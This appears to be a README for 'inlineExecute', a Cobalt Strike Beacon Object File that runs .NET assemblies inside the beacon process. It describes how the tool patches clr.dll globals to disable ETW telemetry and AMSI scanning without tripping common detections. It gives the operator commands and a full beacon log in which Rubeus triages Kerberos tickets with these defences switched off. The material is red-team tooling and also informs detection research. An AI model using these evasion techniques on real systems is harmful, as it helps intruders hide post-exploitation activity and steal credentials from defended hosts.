# inlineExecute inlineExecute is a Cobalt Strike BOF that executes a .NET assembly in the current process (rather than spawning a sacrificial process with `execute-assembly`). It stands as a POC, and as a boilerplate to experiment with novel techniques in the future. ## ETW Bypass Currently, it implements the ETW bypass techniques: Provider Handle Patching and Subscriber Bit Patching. They are documented in my blog - [A Stealthier Reflective Loading](https://loland.cv/posts/2025-11-27-stealthier-reflective-loading/). These techniques prevent ETW telemetry from being generated by userland hooks in `clr.dll`. Unlike traditional ETW patching techniques. This does not modify memory protections, and does not require suspicious WinAPIs like `WriteProcessMemory`, `NTWriteVirtualMemory`, `VirtualProtect`, `NtProtectVirtualMemory`. ## AMSI Bypass The BOF also implements an AMSI patch for `clr.dll`, that doesn't modify memory protections nor use suspicious WinAPIs. It works by modifying the `g_amsiContext` and `AmsiScanBuffer` global variables, which reside in R/W memory. ## Usage Load `inlineExecute.cna` from `Cobalt Strike -> Script Manager -> Load`. Ensure that `inlineExecute.o` and `inlineExecute.cna` are in the same directory. ```shell beacon> inlineExecute [+] Usage: inlineExecute [-etwH] [-etwB] [-verbose] [-amsi] [-scan] ``` The `-etwH` and `-etwB` flags patches ETW via the Provider Handle Patching and Subscriber Bit Patching technique respectively. They can be used together or individually. ``` inlineExecute -etwH -etwB /home/kali/Tools/Ghostpack-CompiledBinaries/Rubeus.exe triage ``` The `-verbose` flag outputs debugging information. ``` inlineExecute -verbose -etwB /home/kali/Tools/Ghostpack-CompiledBinaries/Rubeus.exe triage ``` The `-scan` flag displays the identified patchable values. These values are obtained from signatures in the x64 assembly. In an actual assessment, check that the values are correct as patching incorrect addresses may result in unexpected behaviour. ``` [12/09 22:45:47] beacon> inlineExecute -scan [12/09 22:45:48] [+] host called home, sent: 20366 bytes [12/09 22:45:48] [+] received output: [+] clr.dll loaded: 00007FFBE67D0000 [12/09 22:45:48] [+] received output: [+] clr.dll path: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\clr.dll [12/09 22:45:48] [+] received output: [+] clr.dll build: 4.8.4515.0 [12/09 22:45:48] [+] received output: [+] DotNETRuntimeHandle address: 00007FFBE72747F0 [12/09 22:45:48] [+] received output: [+] DotNETRuntimeEnableBits address: 00007FFBE7262140 [12/09 22:45:48] [+] received output: [+] AmsiScanBufferGlobal address: 00007FFBE727EE88 [12/09 22:45:48] [+] received output: [+] amsiContext address: 00007FFBE727EE80 ``` Example usage with `Rubeus.exe triage`. ```shell [12/09 22:57:29] beacon> inlineExecute -etwB -etwH -amsi -verbose /home/kali/Tools/Ghostpack-CompiledBinaries/Rubeus.exe triage [12/09 22:57:29] [+] Executing: /home/kali/Tools/Ghostpack-CompiledBinaries/Rubeus.exe [12/09 22:57:29] [+] Arguments: triage [12/09 22:57:31] [+] host called home, sent: 467348 bytes [12/09 22:57:31] [+] received output: [+] Runtime info obtained [12/09 22:57:31] [+] received output: [+] Runtime is loadable [12/09 22:57:31] [+] received output: [+] ICorRuntimeHost obtained [12/09 22:57:31] [+] received output: [+] CLR started successfully [12/09 22:57:31] [+] received output: [+] clr.dll path: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\clr.dll [12/09 22:57:31] [+] received output: [+] clr.dll build: 4.8.4515.0 [12/09 22:57:31] [+] received output: [+] DotNETRuntimeHandle address: 00007FFBE72747F0 [12/09 22:57:31] [+] received output: [+] DotNETRuntimeHandle value: 7e0cc620 [12/09 22:57:31] [+] received output: [+] DotNETRuntimeHandle patched: 1 [12/09 22:57:31] [+] received output: [+] DotNETRuntimeEnableBits address: 00007FFBE7262140 [12/09 22:57:31] [+] received output: [+] DotNETRuntimeEnableBits value: 0 [12/09 22:57:31] [+] received output: [+] DotNETRuntimeEnableBits patched: 0 [12/09 22:57:31] [+] received output: [+] Found "lea rdx, aAmsiScanBuffer" at 00007FFBE6DE1039 [12/09 22:57:31] [+] received output: [+] Found "call cs:__imp_GetProcAddress" at 00007FFBE6DE1043 [12/09 22:57:31] [+] received output: [+] Suspected "mov cs:?AmsiScanBuffer, " at 00007FFBE6DE1049 [12/09 22:57:31] [+] received output: [+] Suspected "mov , cs:?g_amsiContext" at 00007FFBE6DE1050 [12/09 22:57:31] [+] received output: [+] AmsiScanBufferGlobal address: 00007FFBE727EE88 [12/09 22:57:31] [+] received output: [+] AmsiScanBufferGlobal value: 0000000000000001 [12/09 22:57:31] [+] received output: [+] AmsiScanBufferGlobal patched: 00000299000D1990 (fakeAmsiScanBuffer) [12/09 22:57:31] [+] received output: [+] amsiContext address: 00007FFBE727EE80 [12/09 22:57:31] [+] received output: [+] amsiContext value: 0000000000000000 [12/09 22:57:31] [+] received output: [+] amsiContext patched: 0000000000000001 [12/09 22:57:31] [+] received output: [+] Anonymous pipe created [12/09 22:57:31] [+] received output: [+] Console created and hidden [12/09 22:57:31] [+] received output: [+] Redirected stdout/stderr to pipe [12/09 22:57:31] [+] received output: [+] AppDomain Created [12/09 22:57:31] [+] received output: [+] fakeAmsiScanBuffer called [12/09 22:57:31] [+] received output: [+] Assembly Loaded [12/09 22:57:31] [+] received output: [+] Assembly executed, reading output... [12/09 22:57:31] [+] received output: ______ _ (_____ \ | | _____) )_ _| |__ _____ _ _ ___ | __ /| | | | _ \| ___ | | | |/___) | | \ \| |_| | |_) ) ____| |_| |___ | |_| |_|____/|____/|_____)____/(___/ v2.2.0 Action: Triage Kerberos Tickets (Current User) [*] Current LUID : 0x44400 --------------------------------------- | LUID | UserName | Service | EndTime | --------------------------------------- --------------------------------------- [12/09 22:57:31] [+] received output: [+] DotNETRuntimeHandle value restored: 7e0cc620 [12/09 22:57:31] [+] received output: [+] DotNETRuntimeEnableBits value restored: 0 [12/09 22:57:31] [+] received output: [+] AmsiScanBufferGlobal value restored: 0000000000000001 [12/09 22:57:31] [+] received output: [+] amsiContext value restored: 0000000000000000 [12/09 22:57:31] [+] received output: [+] Done ```